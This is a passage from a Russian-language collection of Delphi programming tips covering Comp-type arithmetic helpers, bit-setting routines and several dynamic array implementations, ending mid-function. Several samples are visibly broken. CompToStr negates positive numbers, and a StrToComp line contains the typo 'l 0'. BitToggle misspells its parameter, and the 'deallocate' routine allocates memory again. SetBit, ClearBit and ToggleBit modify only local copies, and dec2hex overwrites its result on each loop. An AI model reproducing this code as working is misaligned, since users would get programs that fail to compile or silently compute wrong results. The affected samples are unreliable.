Я обнаружил кое-что интересное в работе функций CMod и CDiv. Оказывается, операция деления переменных типа Comp *ОКРУГЛЯЕТ* результат, а не отбрасывает десятичные знаки, как это можно было ожидать.

Также я обнаружил некоторые странности на границах диапазона Comp. Например, первое время, при попытке использования CompToStr с величиной $7FFF FFFF FFFF FFFD (пробелы для удобства), я получал исключительную ситуацию с плавающей точкой, без указания проблемной строки в программе. Зато вторичная попытка исключения не вызывала. Потрясающе странно! Во всяком случае, взгляните на этот модуль, и, если вы считаете его полезным, то используйте его себе на здоровье!

Если вы посмотрите на реализацию данного формата, то увидите, что это просто два двойных слова, сочлененных вместе. Большее Dword (double-word) - LongInt, меньшее DWord - беззнаковое двойное слово.

Пояснение от Jin X:
Дело в том, что Delphi для работы с типом данных Comp использует не арифметические команды процессора (как при работе с типами Integer, Word и т.п), а математический сопроцессор. Кроме обработки чисел с плавающей запятой сопроцессор может загружать (в свои внутренние регистры) и выгружать целые числа. Однако при загрузке целого числа сопроцессор преобразует его в 10-байтовое число с плавающей запятой (Extended). Вообще говоря, сопроцессор всегда работает только с такими числами (что пользователя это совершенно не важно), если его не переключить в другой режим. При выгрузке же происходит обратная операция: число типа Extended, записанное в регистре сопроцессора, преобразуется в целое (типа Comp). Именно этим и объясняется округление, а не простое отбрасывание дробной части (кстати, метод округления тоже можно изменить с помощью специальных команд).

unit Compfunc;

interface
type
  CompAsTwoLongs = record
    LoL, HiL: LongInt;
  end;
const Two32TL: CompAsTwoLongs = (LoL: 0; HiL: 1);
var Two32: Comp absolute Two32TL;

{Некоторые операции могут окончиться неудачей, если значение находится вблизи границы диапазона Comp}
const MaxCompTL: CompAsTwoLongs = (LoL: $FFFFFFF0; HiL: $7FFFFFFF);
var MaxComp: Comp absolute MaxCompTL;

function CMod(Divisor, Dividend: Comp): Comp;
function CDiv(Divisor: Comp; Dividend: LongInt): Comp;
function CompToStr(C: Comp): string;
function CompToHex(C: Comp; Len: Integer): string;
function StrToComp(const S: string): Comp;

implementation
uses SysUtils;

function CMod(Divisor, Dividend: Comp): Comp;
var Temp: Comp;
begin

{Примечание: Оператор / для типа Comps ОКРУГЛЯЕТ
результат, а не отбрасывает десятичные знаки}
  Temp := Divisor / Dividend;
  Temp := Temp * Dividend;
  Result := Divisor - Temp;
  if Result < 0 then Result := Result + Dividend;
end;

function CDiv(Divisor: Comp; Dividend: LongInt): Comp;
begin

  Result := Divisor / Dividend;
  if Result * Dividend > Divisor then
    Result := Result - 1;
end;

function CompToStr(C: Comp): string;
var Posn: Integer;
begin

  if C > MaxComp then
    raise ERangeError.Create('Comp слишком велик для преобразования в string');
  if C > 0 then
    Result := '-' + CompToStr(-C)
  else
    begin
      Result := '';
      Posn := 0;
      while TRUE do
        begin
          Result := Char(Round($30 + CMod(C, 10))) + Result;
          if C < 10 then Break;
          C := CDiv(C, 10);
          Inc(Posn);
          if Posn mod 3 = 0 then Result := ',' + Result;
        end;
    end;
end;

function CompToHex(C: Comp; Len: Integer): string;
begin

  if (CompAsTwoLongs(C).HiL = 0) and (Len <= 8) then
    Result := IntToHex(CompAsTwoLongs(C).LoL, Len)
  else
    Result := IntToHex(CompAsTwoLongs(C).HiL, Len - 8) +
      IntToHex(CompAsTwoLongs(C).LoL, 8)
end;

function StrToComp(const S: string): Comp;
var Posn: Integer;
begin

  if S[1] = '-' then
    Result := -StrToComp(Copy(S, 2, Length(S) - 1))
  else if S[1] = '$' then {Шестнадцатиричная строка}
  try
    if Length(S) > 9 then
      begin
{Если строка некорректна, исключение сгенерирует StrToInt}
        Result := StrToInt('$' + Copy(S, Length(S) - 7, 8));
        if Result > l 0 then Result := Result + Two32;
{Если строка некорректна, исключение сгенерирует StrToInt}
        CompAsTwoLongs(Result).HiL :=
          StrToInt(Copy(S, 1, Length(S) - 8))
      end
    else
      begin
{Если строка некорректна, исключение сгенерирует StrToInt}
        Result := StrToInt(S);
        if Result < 0 then Result := Result + Two32;
      end;
  except
    on EConvertError do
      raise
        EConvertError.Create(S + ' некорректный Comp');
  end
  else {Десятичная строка}
    begin
      Posn := 1;
      Result := 0;
      while Posn <= Length(S) do
        case S[Posn] of
          ',': Inc(Posn);
          '0'..'9':
            begin
              Result := Result * 10 + Ord(S[Posn]) - $30;
              Inc(Posn);
            end;
        else
          raise EConvertError.Create(S +
            ' некорректный Comp');
        end;
    end;
end;

end.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как получить доступ к битам переменной и управлять их значением?

unit Bitwise;

interface

function IsBitSet(const val: longint; const TheBit: byte): boolean;
function BitOn(const val: longint; const TheBit: byte): LongInt;
function BitOff(const val: longint; const TheBit: byte): LongInt;
function BitToggle(const val: longint; const TheBit: byte): LongInt;

implementation

function IsBitSet(const val: longint; const TheBit: byte): boolean;
begin
 result := (val and (1 shl TheBit)) <> 0;
end;

function BitOn(const val: longint; const TheBit: byte): LongInt;
begin
 result := val or (1 shl TheBit);
end;

function BitOff(const val: longint; const TheBit: byte): LongInt;
begin
 result := val and ((1 shl TheBit) xor $FFFFFFFF);
end;

function BitToggle(const val: longint; const TheBit: byte): LongInt;
begin
 result := val xor (1 shl TheBit);
end;

end.

SetWord – слово, которое необходимо установить.
BitNum – номер бита, который необходимо выставить согласно определениям в секции const (Bit0, Bit1 и др.).
GetBitStat возвращает значение True, если бит установлен и False – в противном случае.

const
 Bit0 = 1;
 Bit1 = 2;
 Bit2 = 4;
 Bit3 = 8;
 Bit4 = 16;
 Bit5 = 32;
 Bit6 = 64;
 Bit7 = 128;

 Bit8 = 256;
 Bit9 = 512;
 Bit10 = 1024;
 Bit11 = 2048;
 Bit12 = 4096;
 Bit13 = 8192;
 Bit14 = 16384;
 Bit15 = 32768;

procedure SetBit(SetWord, BitNum: Word);
begin
 SetWord := SetWord Or BitNum;        { Устанавливаем бит }
end;

procedure ClearBit(SetWord, BitNum: Word);
begin
 SetWord := SetWord Or BitNum;       { Устанавливаем бит }
 SetWord := SetWord Xor BitNum;      { Переключаем бит }
end;

procedure ToggleBit(SetWord, BitNum: Word);
begin
 SetWord := SetWord Xor BitNum;      { Переключаем бит }
end;

function GetBitStat(SetWord, BitNum: Word): Boolean;
begin
 GetBitStat := SetWord and BitNum = BitNum; { Если бит установлен }
end;

Источник: Книга В. Озерова "Delphi. Советы программистов"

Автор: StayAtHome

Взято с Vingrad.ru http://forum.vingrad.ru


Dec ---> Hex

function dec2hex(value: dword): string[8];
const
  hexdigit = '0123456789ABCDEF';
begin
  while value <> 0 do
  begin
    dec2hex := hexdigit[succ(value and $F)];
    value := value shr 4;
  end;
  if dec2hex = '' then dec2hex := '0';
end;

Взято с http://delphiworld.narod.ru


Integer как SmallInt

Я перешел на Delphi 2.0 и у меня появилась проблема с типизированными файлами. У меня есть множество типизированных файлов с различными записями. Теперь, когда целое занимает 4 байта, определения всех моих записей должны быть изменены с расчетом на то, что вместо целого типа придется использовать тип SmallInts. Тем не менее, даже после такого изменения размер моих записей остается прежним...

Вам необходимо использовать модификатор "packed":

type
  TMyRecType = packed record
    ...
  end;

Автор: Steve Schafer

Взято с http://delphiworld.narod.ru


Работа с битами

Cодержание раздела:

Проверка - установлен ли определенный бит? New!
Установка бита в единицу New!
Установка бита в ноль New!
Переключение состояния бита с единицы на ноль и наоборот New!
Пример чтения данных по битовой маске из значения New!


Проверка - установлен ли определенный бит?

Проверка - установлен ли определенный бит?

function IsBitSet(Value: cardinal; BitNum : byte): boolean;
begin
  result:=((Value shr BitNum) and 1) = 1
end;
...
if IsBitSet(43691,1) then //установлен (равен 1)

Автор ответа: Krid

Взято из http://forum.sources.ru


Установка бита в единицу

Установка бита в единицу

function BitOn(const val: longint; const TheBit: byte): LongInt;
begin
  Result := val or (1 shl TheBit);
end;

Автор ответа: s-mike
Взято из http://forum.sources.ru


Установка бита в ноль

Установка бита в ноль

function BitOff(const val: longint; const TheBit: byte): LongInt;
begin
  Result := val and ((1 shl TheBit) xor $FFFFFFFF);
end;

Автор ответа: s-mike
Взято из http://forum.sources.ru


Переключение состояния бита с единицы на ноль и наоборот

Переключение состояния бита с единицы на ноль и наоборот

function BitToggle(const val: longint; const TheBit: byte): LongInt;
begin
  Result := val xor (1 shl TheeBit);
end;

Автор ответа: s-mike
Взято из http://forum.sources.ru


Пример чтения данных по битовой маске из значения

Пример чтения данных по битовой маске из значения:

procedure TForm1.Button1Click(Sender: TObject);
const
  Col: Word = $ABCD;
var
  R,
  G,
  B: Byte;
begin
  R := Byte(Col shr 8) div 8; // первые 5 бит
  G := ((Byte(Col shr 8) and $7) * 8) or (Byte(Col) div $20); // Вторые 6 бит
  B := Byte(Col) and $1F; // третьи 5 бит
end;

Автор ответа: Rouse_
Взято из http://forum.sources.ru


Работа с массивами

Cодержание раздела:

Примеры работы с динамическими массивами Updated!
Массив в Delphi
Пример массива констант (Array of Const)
Работа с большими массивами
Использование многомерного массива
Массив без ограничения типа и размера
Создание многомерного массива
Как удалить одно значение из динамического массива?
Запись массива на диск
Операции над числовыми массивами New!
Использование PHP-like операций с массивами New!
Сохранение и загрузка двумерного динамического масива New!

См. также статьи в других разделах:
Как передать массив как параметр?
Из строки в массив и наоборот
Как получить неповторяющиеся случайные числа?
Using Visual Basic arrays in Delphi


Примеры работы с динамическими массивами

Очень простой пример...
const
  MaxBooleans = (High(Cardinal) - $F) div sizeof(boolean);

type
  TBoolArray = array[1..MaxBooleans] of boolean;
  PBoolArray = ^TBoolArray;

var
  B: PBoolArray;
  N: integer;

begin
  N := 63579;
{= получение памяти под динамический массив.. =}
  GetMem(B, N * sizeof(boolean));
{= работа с массивом... =}
  B^[3477] := FALSE;
{= возвращение памяти в кучу =}
{$IFDEF VER80}
  FreeMem(B, N * sizeof(boolean));
{$ELSE}
  FreeMem(B);
{$ENDIF}
end.

Возможно создавать динамически-изменяющиеся массивы в Delphi?

Да. Для начала вам необходимо создать тип массива, использующего самый большой размер, который вам, вероятно, может понадобиться. В действительности, при создании типа никакой памяти не распределяется. Вот когда вы создаете переменную этого типа, тогда компилятор пытается распределить для вас необходимую память. Вместо этого создайте переменную, являющуюся указателем на этот тип. Этим вы заставите компилятор распределить лишь четыре байта, необходимые для размещения указателя.

Прежде, чем вы сможете пользоваться массивом, вам необходимо распределить для него память. Используя AllocMem, вы можете точно управлять выделяемым размером памяти. Для того, чтобы определить необходимое количество байт, которые вы должны распределить, просто умножьте размер массива на размер отдельного элемента массива. Имейте в виду, что самый большой блок, который вы сможете распределить в любой момент в 16-битной среде равен 64Kб. Самый большой блок, который вы можете в любой момент распределить в 32-битной среде равен 4Гб. Для определения максимального числа элементов, которые вы можете иметь в вашем конкретном массиве (в 16-битной среде), разделите 65,520 на размер отдельного элемента. Например: 65520 div SizeOf(LongInt)

Пример объявления типа массива и указателя:

type
  ElementType = LongInt;

const
  MaxArraySize = (65520 div SizeOf(ElementType));
(* в 16-битной среде *)

type
  MyArrayType = array[1..MaxArraySize] of ElementType;

var
  P: ^MyArrayType;

const
  ArraySizeIWant: Integer = 1500;

Затем, для распределения памяти под массив, вы могли бы использоваться следующую процедуру:

procedure AllocateArray;
begin
  if ArraySizeIWant <= MaxArraySize then
    P := AllocMem(ArraySizeIWant * SizeOf(LongInt));
end;

Не забывайте о том, что величина ArraySizeIWant должна быть меньше или равна MaxArraySize.

Вот процедура, которая с помощью цикла устанавливает величину каждого члена:

procedure AssignValues;
var
  I: Integer;
begin
  for I := 1 to ArraySizeIWant do
    P^[I] := I;
end;

Имейте в виду, что вам необходимо самому организовать контроль допустимого диапазона. Если вы распределили память для массива с пятью элементами, и пытаетесь назначить какое-либо значение шестому, вы получите ошибку и, возможно, порчу памяти.

Помните также о том, что после использования массива всю распределенную память необходимо освободить. Вот пример того, как избавиться от этого массива:

procedure DeallocateArray;
begin
  P := AllocMem(ArraySizeIWant * SizeOf(LongInt));
end;

Ниже приведен пример динамического массива:

unit Unit1;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls;

type
  ElementType = Integer;

const
  MaxArraySize = (65520 div SizeOf(ElementType));
{ в 16-битной среде }

type
{ Создаем тип массива. Убедитесь в том, что вы установили
максимальный диапазон, который вам, вероятно, может понадобиться. }
  TDynamicArray = array[1..MaxArraySize] of ElementType;
  TForm1 = class(TForm)
    Button1: TButton;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
{ Private declarations }
  public
{ Public declarations }
  end;

var
  Form1: TForm1;
{ Создаем переменную типа указатель на ваш тип массива. }
  P: ^TDynamicArray;

const
{ Это типизированные константы. В действительности они
являются статическими переменными, инициализирующимися
во время выполнения указанными в исходном коде значениями.
Это означает, что вы можете использовать типизированные
константы точно также, как и любые другие переменные.
Удобство заключается в автоматически инициализируемой величине. }
  DynamicArraySizeNeeded: Integer = 10;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
{ Распределяем память для нашего массива. Будь внимательны
и распределяйте размер, в точности необходимый для размещения нового массива.
Если вы попытаетесь записать элемент, выходящий за допустимый диапазон,
компилятор не ругнется, но объект исключения вам обеспечен. }
  DynamicArraySizeNeeded := 500;
  P := AllocMem(DynamicArraySizeNeeded * SizeOf(Integer));
{ Как присвоить значение пятому элементу массива. }
  P^[5] := 68;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
{ Вывод данных. }
  Button1.Caption := IntToStr(P^[5]);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
{ Освобождаем распределенную для массива память. }
  FreeMem(P, DynamicArraySizeNeeded * SizeOf(Integer));
end;

end.

Вот "демо-модуль", демонстрирующий три различных способа (далеко не все) создания динамических массивов. Все три способа для распределения достаточного количества памяти из кучи используют GetMem, tList используют для добавления элементов в список массива и используют tMemoryStream для того, чтобы распределить достаточно памяти из кучи и иметь к ней доступ, используя поток. Старый добрый GetMem вполне подходит для такой задачи при условии, что массив не слишком велик (<64K).

PS. Я не стал ловить в коде исключения (с помощью блоков Try...Finally}, которые могли бы мне помочь выявить ошибки, связанные с распределением памяти. В реальной системе вы должны быть уверены в своем грациозном владении низкоуровневыми операциями с памятью.

{++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}
{ Форма, демонстрирующая различные методы создания массива с         }
{ динамически изменяемым размером. Разместите на форме четыре кнопки,}
{ компоненты ListBox и SpinEdit и создайте, как показано ниже,       }
{ обработчики событий, возникающие при нажатии на кнопки. Button1,   }
{ Button2 и Button3 демонстрируют вышеуказанных метода. Button4      }
{ очищает ListBox для следующего примера.                            }
{++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}
unit Dynarry1;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, Spin;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    SpinEdit1: TSpinEdit;
    ListBox1: TListBox;
    Button4: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
  private
{ Private declarations }
  public
{ Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}
type
  pSomeType = ^SomeType;
  SomeType = Integer;

procedure TForm1.Button1Click(Sender: TObject);
type
  pDynArray = ^tDynArray;
  tDynArray = array[1..1000] of SomeType;
var
  DynArray: pDynArray;
  I: Integer;
begin
{ Распределяем память }
  GetMem(DynArray, SizeOf(SomeType) * SpinEdit1.Value);
{ Пишем данные в массив }
  for I := 1 to SpinEdit1.Value do
    DynArray^[I] := I;
{ Читаем данные из массива }
  for I := SpinEdit1.Value downto 1 do
    ListBox1.Items.Add('Элемент ' + IntToStr(DynArray^[I]));
{ Освобождаем память }
  FreeMem(DynArray, SizeOf(SomeType) * SpinEdit1.Value);
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  List: tList;
  Item: pSomeType;
  I: Integer;
begin
{ Создаем список }
  List := tList.Create;
{ Пишем данные для списка }
  for I := 1 to SpinEdit1.Value do
    begin
{ Распределяем уникальный экземпляр данных }
      New(Item); Item^ := I;
      List.Add(Item);
    end;
{ Читаем данные из списка - базовый индекс списка 0, поэтому вычитаем из I единицу }
  for I := SpinEdit1.Value downto 1 do
    ListBox1.Items.Add('Элемент ' +
      IntToStr(pSomeType(List.Items[I - 1])^));
{ Освобождаем лист }
  for I := 1 to SpinEdit1.Value do
    Dispose(List.Items[I - 1]);
  List.Free;
end;

procedure TForm1.Button3Click(Sender: TObject);
var
  Stream: tMemoryStream;
  Item: SomeType;
  I: Integer;
begin
{ Распределяем память потока }
  Stream := tMemoryStream.Create;
  Stream.SetSize(SpinEdit1.Value);
{ Пишем данные в поток }
  for I := 1 to SpinEdit1.Value do
{ Stream.Write автоматически отслеживает позицию записи,
поэтому при записи данных за ней следить не нужно }
    Stream.Write(I, SizeOf(SomeType));
{ Читаем данные из потока }
  for I := SpinEdit1.Value downto 1 do
    begin
      Stream.Seek((I - 1) * SizeOf(SomeType), 0);
      Stream.Read(Item, SizeOf(SomeType));
      ListBox1.Items.Add('Элемент ' + IntToStr(Item));
    end;
{ Освобождаем поток }
  Stream.Free;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  ListBox1.Items.Clear;
end;

end.
Взято из Советов по Delphi отВалентина Озерова
Сборник Kuliba

Массив, который может менять свой размер во время работы программы, нужен тогда, когда неизвестно количество элементов на стадии разработки программы. Например, Вам не известен размер изображения, которое нужно будет поместить в память.

Этот динамический массив основан на массиве Delphi. Поэтому обращение к нему быстро и удобно. Тип TArray – это массив нужного типа. 128 элементов можно заменить любым другим числом, хоть 0. Повлиять это может только на отладку программы, так как Delphi выведет (если уместится) именно это количество элементов. PArray – это указатель на TArray. При обращении к элементам массива для Delphi главное, чтобы этот элемент существовал в памяти, то есть, чтобы под него была выделена память. А проверять, находится ли номер нужного элемента между 0 и 127 Delphi не будет.

Главным методом объекта является SetCount. Он сделан таким образом, что при изменении количество элементом старые данные не теряются, а новые элементы всегда обнуляются.

Процедура Reset обнуляет все существующие элементы.

Для того чтобы сделать этот массив, например, массивом целых чисел нужно поменять все double на integer или еще что-то.

Если Ваша программа часто обращается к элементам массива, то имеет смысл создать переменную типа PArray и присвоить ей адрес данных (поле p динамического массива), а дальше обращаться к ней, как к самому обыкновенному массиву. Только не забудьте обновлять эту переменную при изменении количества элементов.

type
  TForm1 = ...
    ...
  end;

  TArray = array [0..127] of double;
  PArray = ^TArray;
  TDynArray = object
    p: PArray;
    count: integer;
    constructor Create(ACount: integer); { инициализация }
    procedure SetCount(ACount: integer); { установка количества
                                           элементов }
    procedure Reset; { обнуление данных }

    destructor Destroy; { уничтожение }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

constructor TDynArray.Create(aCount: integer);
begin
  p := nil;
  count := 0;
  SetCount(ACount);
end;

procedure TDynArray.SetCount(ACount: integer);
var
  np: PArray;
begin
  if count = ACount then Exit;
  if p = nil then begin { память не была выделена }

    if ACount <= 0 then begin { новое количество элементов
                                в массиве равно 0 }
      count := 0;
    end else begin  { новое количество элементов в массиве
                      больше 0 }
      GetMem(p, ACount * sizeof(double)); { выделение памяти }
      fillchar(p^, ACount * sizeof(double), 0); { обнуление данных }
      count := ACount;

    end;
  end else begin
    if ACount <= 0 then begin { новое количество элементов в
                                массиве равно 0 }
      FreeMem(p, count * sizeof(double)); { освобождение памяти }
      count := 0;
    end else begin
      GetMem(np, ACount * sizeof(double)); { выделение памяти }

      if ACount > count then begin { требуется увеличить
                                     количество элементов }
        move(p^, np^, count * sizeof(double)); { перемещение
                                старых данных на новое место }
        fillchar(np^[count], (ACount - count) * sizeof(double),
          0); { обнуление новых элементов массива }
      end else begin

        move(p^, np^, ACount * sizeof(double)); { перемещение
                           части старых данных на новое место }
      end;
      FreeMem(p, count * sizeof(double)); { освобождение старой
                                            памяти }
      p := np;
      count := ACount;
    end;
  end;
end;

procedure TDynArray.Reset;
begin
  fillchar(p^, count * sizeof(double), 0); { обнуление данных }

end;

destructor TDynArray.Destroy;
begin
  SetCount(0);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  a: TDynArray;
  i: integer;
  s: string;
begin
  a.Create(3);
  a.p[0] := 10;
  a.p[1] := 20;
  { второй элемент не указывается, но вследствии обнуления
    при создании массива он равен 0 }
  s := 'Элементы в массиве:';
  for i := 0 to a.count - 1 do

    s := s + #13#10 + IntToStr(i+1) + ': ' + FloatToStr(a.p[i]);
  ShowMessage(s);

  a.SetCount(4);
  a.p^[3] := 50;
  { значения первых элементов не теряются }
  s := 'Элементы в массиве:';
  for i := 0 to a.count - 1 do
    s := s + #13#10 + IntToStr(i+1) + ': ' + FloatToStr(a.p[i]);
  ShowMessage(s);

  a.Destroy;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Массив в Delphi

Вот несколько функций для операций с двухмерными массивами. Самый простой путь для создания собственной библиотеки. Процедуры SetV и GetV позволяют читать и сохранять элементы массива VArray (его Вы можете объявить как угодно). Например:

type
  VArray: array[1..1] of double;

var
  X: ^VArray;
  NR, NC: Longint;

begin
  NR := 10000;
  NC := 100;
  if AllocArray(pointer(X), N * Sizeof(VArray)) then exit;
  SetV(X^, NC, 2000, 5, 3.27); { X[2000,5] := 3.27 }
end;

function AllocArray(var V: pointer; const N: longint): Boolean;
begin {распределяем память для массива V размера N}
  try
    GetMem(V, N);
  except
    ShowMessage('ОШИБКА выделения памяти. Размер:' + IntToStr(N));
    Result := True;
    exit;
  end;
  FillChar(V^, N, 0); {в случае включения длинных строк заполняем их нулями}
  Result := False;
end;

procedure SetV(var X: Varray; const N, ir, ic: LongInt; const value:
  double);
begin {заполняем элементами двухмерный массив X размером ? x N : X[ir,ic] := value}

  X[N * (ir - 1) + ic] := value;
end;

function GetV(const X: Varray; const N, ir, ic: Longint): double;
begin {возвращаем величины X[ir,ic] для двухмерного массива шириной N столбцов}
  Result := X[N * (ir - 1) + ic];
end;

Самый простой путь - создать массив динамически

    Myarray := GetMem(rows * cols * sizeof(byte,word,single,double и пр.)

сделайте функцию fetch_num типа

    function fetch_num(r,c:integer) : single;

    result := pointer + row + col*rows

и затем вместо myarray[2,3] напишите

    myarray.fetch_num(2,3)

поместите эти функции в ваш объект и работа с массивами станет пустячным делом. Я экспериментировал с многомерными (вплоть до 8) динамическими сложными массивами и эти функции показали отличный результат.

Вот способ создания одно- и двухмерных динамических массивов:

(*

--
-- модуль для создания двух очень простых классов обработки динамических массивов
--     TDynaArray   :  одномерный массив
--     TDynaMatrix  :  двумерный динамический массив
--
*)

unit DynArray;

interface

uses
  SysUtils;

type
  TDynArrayBaseType = double;

const
  vMaxElements = (High(Cardinal) - $F) div sizeof(TDynArrayBaseType);
{= гарантирует максимально возможный массив =}

type

  TDynArrayNDX = 1..vMaxElements;
  TArrayElements = array[TDynArrayNDX] of TDynArrayBaseType;
{= самый большой массив TDynArrayBaseType, который мы может объявить =}
  PArrayElements = ^TArrayElements;
{= указатель на массив =}

  EDynArrayRangeError = class(ERangeError);

  TDynArray = class
  private
    fDimension: TDynArrayNDX;
    fMemAllocated: word;
    function GetElement(N: TDynArrayNDX): TDynArrayBaseType;
    procedure SetElement(N: TDynArrayNDX; const NewValue: TDynArrayBaseType);
  protected
    Elements: PArrayElements;
  public
    constructor Create(NumElements: TDynArrayNDX);
    destructor Destroy; override;
    procedure Resize(NewDimension: TDynArrayNDX); virtual;
    property dimension: TDynArrayNDX
      read fDimension;
    property Element[N: TDynArrayNDX]: TDynArrayBaseType
    read GetElement
      write SetElement;
    default;
  end;

const

  vMaxMatrixColumns = 65520 div sizeof(TDynArray);
{= построение матрицы класса с использованием массива объектов TDynArray =}

type

  TMatrixNDX = 1..vMaxMatrixColumns;
  TMatrixElements = array[TMatrixNDX] of TDynArray;
{= каждая колонка матрицы будет динамическим массивом =}
  PMatrixElements = ^TMatrixElements;
{= указатель на массив указателей... =}

  TDynaMatrix = class
  private
    fRows: TDynArrayNDX;
    fColumns: TMatrixNDX;
    fMemAllocated: longint;
    function GetElement(row: TDynArrayNDX;
      column: TMatrixNDX): TDynArrayBaseType;
    procedure SetElement(row: TDynArrayNDX;
      column: TMatrixNDX;
      const NewValue: TDynArrayBaseType);
  protected
    mtxElements: PMatrixElements;
  public
    constructor Create(NumRows: TDynArrayNDX; NumColumns: TMatrixNDX);
    destructor Destroy; override;
    property rows: TDynArrayNDX
      read fRows;
    property columns: TMatrixNDX
      read fColumns;
    property Element[row: TDynArrayNDX; column: TMatrixNDX]: TDynArrayBaseType
    read GetElement
      write SetElement;
    default;
  end;

implementation

(*

--
--  методы TDynArray
--
*)

constructor TDynArray.Create(NumElements: TDynArrayNDX);
begin {==TDynArray.Create==}
  inherited Create;
  fDimension := NumElements;
  GetMem(Elements, fDimension * sizeof(TDynArrayBaseType));
  fMemAllocated := fDimension * sizeof(TDynArrayBaseType);
  FillChar(Elements^, fMemAllocated, 0);
end; {==TDynArray.Create==}

destructor TDynArray.Destroy;
begin {==TDynArray.Destroy==}
  FreeMem(Elements, fMemAllocated);
  inherited Destroy;
end; {==TDynArray.Destroy==}

procedure TDynArray.Resize(NewDimension: TDynArrayNDX);
begin {TDynArray.Resize==}
  if (NewDimension < 1) then
    raise EDynArrayRangeError.CreateFMT('Индекс вышел за границы диапазона : %d', [NewDimension]);
  Elements := ReAllocMem(Elements, fMemAllocated, NewDimension * sizeof(TDynArrayBaseType));
  fDimension := NewDimension;
  fMemAllocated := fDimension * sizeof(TDynArrayBaseType);
end; {TDynArray.Resize==}

function TDynArray.GetElement(N: TDynArrayNDX): TDynArrayBaseType;
begin {==TDynArray.GetElement==}
  if (N < 1) or (N > fDimension) then
    raise EDynArrayRangeError.CreateFMT('Индекс вышел за границы диапазона : %d', [N]);
  result := Elements^[N];
end; {==TDynArray.GetElement==}

procedure TDynArray.SetElement(N: TDynArrayNDX; const NewValue: TDynArrayBaseType);
begin {==TDynArray.SetElement==}
  if (N < 1) or (N > fDimension) then
    raise EDynArrayRangeError.CreateFMT('Индекс вышел за границы диапазона : %d', [N]);
  Elements^[N] := NewValue;
end; {==TDynArray.SetElement==}

(*

--
--  методы TDynaMatrix
--
*)

constructor TDynaMatrix.Create(NumRows: TDynArrayNDX; NumColumns: TMatrixNDX);
var col: TMatrixNDX;
begin {==TDynaMatrix.Create==}
  inherited Create;
  fRows := NumRows;
  fColumns := NumColumns;
{= выделение памяти для массива указателей (т.е. для массива TDynArrays) =}
  GetMem(mtxElements, fColumns * sizeof(TDynArray));
  fMemAllocated := fColumns * sizeof(TDynArray);
{= теперь выделяем память для каждого столбца матрицы =}
  for col := 1 to fColumns do
    begin
      mtxElements^[col] := TDynArray.Create(fRows);
      inc(fMemAllocated, mtxElements^[col].fMemAllocated);
    end;
end; {==TDynaMatrix.Create==}

destructor TDynaMatrix.Destroy;
var col: TMatrixNDX;
begin {==TDynaMatrix.Destroy;==}
  for col := fColumns downto 1 do
    begin
      dec(fMemAllocated, mtxElements^[col].fMemAllocated);
      mtxElements^[col].Free;
    end;
  FreeMem(mtxElements, fMemAllocated);
  inherited Destroy;
end; {==TDynaMatrix.Destroy;==}

function TDynaMatrix.GetElement(row: TDynArrayNDX;
  column: TMatrixNDX): TDynArrayBaseType;
begin {==TDynaMatrix.GetElement==}
  if (row < 1) or (row > fRows) then
    raise EDynArrayRangeError.CreateFMT('Индекс строки вышел за границы диапазона : %d', [row]);
  if (column < 1) or (column > fColumns) then
    raise EDynArrayRangeError.CreateFMT('Индекс столбца вышел за границы диапазона : %d', [column]);
  result := mtxElements^[column].Elements^[row];
end; {==TDynaMatrix.GetElement==}

procedure TDynaMatrix.SetElement(row: TDynArrayNDX;
  column: TMatrixNDX;
  const NewValue: TDynArrayBaseType);
begin {==TDynaMatrix.SetElement==}
  if (row < 1) or (row > fRows) then
    raise EDynArrayRangeError.CreateFMT('Индекс строки вышел за границы диапазона : %d', [row]);
  if (column < 1) or (column > fColumns) then
    raise EDynArrayRangeError.CreateFMT('Индекс столбца вышел за границы диапазона : %d', [column]);
  mtxElements^[column].Elements^[row] := NewValue;
end; {==TDynaMatrix.SetElement==}

end.

----Тестовая программа для модуля DynArray----

--------------------------------------------------------------------------------
uses DynArray, WinCRT;

const
  NumRows: integer = 7;
  NumCols: integer = 5;

var
  M: TDynaMatrix;
  row, col: integer;

begin
  M := TDynaMatrix.Create(NumRows, NumCols);
  for row := 1 to M.Rows do
    for col := 1 to M.Columns do
      M[row, col] := row + col / 10;
  writeln('Матрица');
  for row := 1 to M.Rows do
    begin
      for col := 1 to M.Columns do
        write(M[row, col]: 5: 1);
      writeln;
    end;
  writeln;
  writeln('Перемещение');
  for col := 1 to M.Columns do
    begin
      for row := 1 to M.Rows do
        write(M[row, col]: 5: 1);
      writeln;
    end;
  M.Free;
end.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Пример массива констант (Array of Const)

"Array of const" это массив переменных, декларированных как константы. Непосредственно они представлены структурой TVarRec. Скобки просто ограничивают массив. Массив констант дает вам возможность передавать процедуре переменное количество параметров type-safe (безопасным) способом. Вот пример:

type
  TVarRec = record
    Data: record case Integer of
        0: (L: LongInt);
        1: (B: Boolean);
        2: (C: Char);
        3: (E: ^Extended);
        4: (S: ^string);
        5: (P: Pointer);
        6: (X: PChar);
        7: (O: TObject);
    end;
    Tag: Byte;
    Stuff: array[0..2] of Byte;
  end;

function PtrToStr(P: Pointer): string;
const
  HexChar: array[0..15] of Char = '0123456789ABCDEF';

  function HexByte(B: Byte): string;
  begin
    Result := HexChar[B shr 4] + HexChar[B and 15];
